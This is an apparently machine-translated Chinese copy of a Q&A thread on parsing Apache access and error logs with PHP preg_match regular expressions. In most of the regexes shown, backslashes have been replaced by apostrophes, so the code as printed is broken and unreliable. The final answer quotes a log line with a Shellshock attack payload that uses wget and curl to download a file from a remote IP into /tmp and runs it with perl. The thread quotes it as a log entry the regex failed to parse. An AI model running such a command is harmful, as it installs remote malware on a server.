在PHP中使用preg_match解析Apache日志


Parse Apache log in PHP using preg_match

我需要将数据保存在表中(用于报告,统计等),以便用户可以按时间,用户代理等进行搜索。我有一个脚本,每天运行,读取Apache日志,然后将其插入到数据库中。

日志格式:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"

我的正则表达式:

preg_match('/^('S+) ('S+) ('S+) '[([^:]+):('d+:'d+:'d+) ([^']]+)'] '"('S+) (.*?) ('S+)'" ('S+) ('S+) ('".*?'") ('".*?'")$/',$log, $matches);

现在当我打印:

print_r($matches);
Array
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
    [1] => 10.1.1.150
    [2] => -
    [3] => -
    [4] => 29/September/2011
    [5] => 14:21:49
    [6] => -0400
    [7] => GET
    [8] => /info/
    [9] => HTTP/1.1
    [10] => 200
    [11] => 9955
    [12] => "http://www.domain.com/download/"
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
)

我得到:"http://www.domain.com/download/",对于用户代理也是一样。怎样才能去掉正则表达式中的"呢?奖金(是否有快速的方法来插入日期/时间很容易)?

谢谢

要在PHP中解析Apache access_log日志,可以使用以下正则表达式:

$regex = '/^('S+) ('S+) ('S+) '[([^:]+):('d+:'d+:'d+) ([^']]+)'] '"('S+) (.*?) ('S+)'" ('S+) ('S+) "([^"]*)" "([^"]*)"$/';
preg_match($regex ,$log, $matches);

要匹配Apache error_log格式,您可以使用以下正则表达式:

$regex = '/^'[([^']]+)'] '[([^']]+)'] (?:'[client ([^']]+)'])?'s*(.*)$/i';
preg_match($regex, $log, $matches);
$matches[1] = Date and time,           $matches[2] = severity,
$matches[3] = client addr (if present) $matches[4] = log message

匹配包含或不包含客户端的行:

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js

如果不想捕获双引号,请将其移出捕获组。

 ('".*?'") 

应该成为:

 '"(.*?)'"

作为替代,您可以使用trim($str, '"')

对条目进行后处理。

因为我已经看到并做了很多错误的日志解析,这里有一个希望有效的正则表达式,在50k行日志上测试,没有任何差异,知道:

  • auth_user可以有空格
  • response_size可以是-
  • http_start_line可以至少一个空格(HTTP/0.9)或两个
  • http_start_line可能包含双引号
  • referrer可以是空的,有空格,或双引号(它只是一个HTTP头)
  • user_agent也可以为空,或者包含双引号和空格
  • 很难区分referrer和user-agent,让我们把" "放在两者之间就足够了,但是我们可以在referrer和user-agent中找到臭名昭著的" ",所以基本上,我们完蛋了。

    $ncsa_re = '/^(?P<IP>'S+)
    ' (?P<ident>'S)
    ' (?P<auth_user>.*?) # Spaces are allowed here, can be empty.
    ' (?P<date>'[[^]]+'])
    ' "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9
    ' (?P<status_code>[0-9]+) # Status code is _always_ an integer
    ' (?P<response_size>(?:[0-9]+|-)) # Response size can be -
    ' "(?P<referrer>.*)" # Referrer can contains everything: its just a header
    ' "(?P<user_agent>.*)"$/x';
    

希望对你有帮助。

你的regexp是错误的。您应该使用正确的regexp

/^('S+) ('S+) ('S+) - '[([^:]+):('d+:'d+:'d+) ([^']]+)'] '"('S+) (.*?) ('S+)'" ('S+) ('S+) "([^"]*)" "([^"]*)"$/

我在2015年1月尝试使用几个regexp,并发现一个坏的bot在我的apache2日志中没有得到匹配。

错误的bot apache2行是BASH攻击的尝试,我还没有尝试找出regexp更正:

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c '"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc'""